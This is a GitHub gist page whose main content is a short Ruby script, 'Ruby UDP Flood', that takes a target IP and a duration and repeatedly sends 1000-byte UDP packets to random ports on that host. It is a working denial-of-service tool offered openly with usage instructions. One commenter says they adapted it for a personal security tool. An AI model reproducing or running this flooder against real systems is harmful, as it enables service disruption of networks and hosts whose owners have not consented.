Skip to content

Instantly share code, notes, and snippets.

@Ninjex
Last active July 19, 2018 01:42
Show Gist options
  • Save Ninjex/9150549 to your computer and use it in GitHub Desktop.
Save Ninjex/9150549 to your computer and use it in GitHub Desktop.
Ruby UDP Flood
#!/usr/bin/ruby
require 'socket'
if ARGV[0] == '-ip' then ip = ARGV[1] end
if ARGV[2] == '-t' then seconds = ARGV[3].to_i end
if ARGV[2].nil? || ARGV[2].empty? then abort "Usage: ruby flood.rb -ip <ip address> -t <time in seconds>" end
bytes = 'Z' * 1000
def get_time(one, two)
(two - one).to_i
end
puts "UDP flooding IP: #{ip} for #{seconds} seconds!"
start = Time.now
while get_time(start, Time.now) <= seconds
sock = UDPSocket.new
if sock
sock.connect(ip, rand(65_000))
sock.write(bytes)
sock.close
end
end
@silverNitrateIon
Copy link

Hey! Thanks for this script. I modified the code a little and am including it in a personal-use network security tool. If you want the tool, get in touch and I will send it over to you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment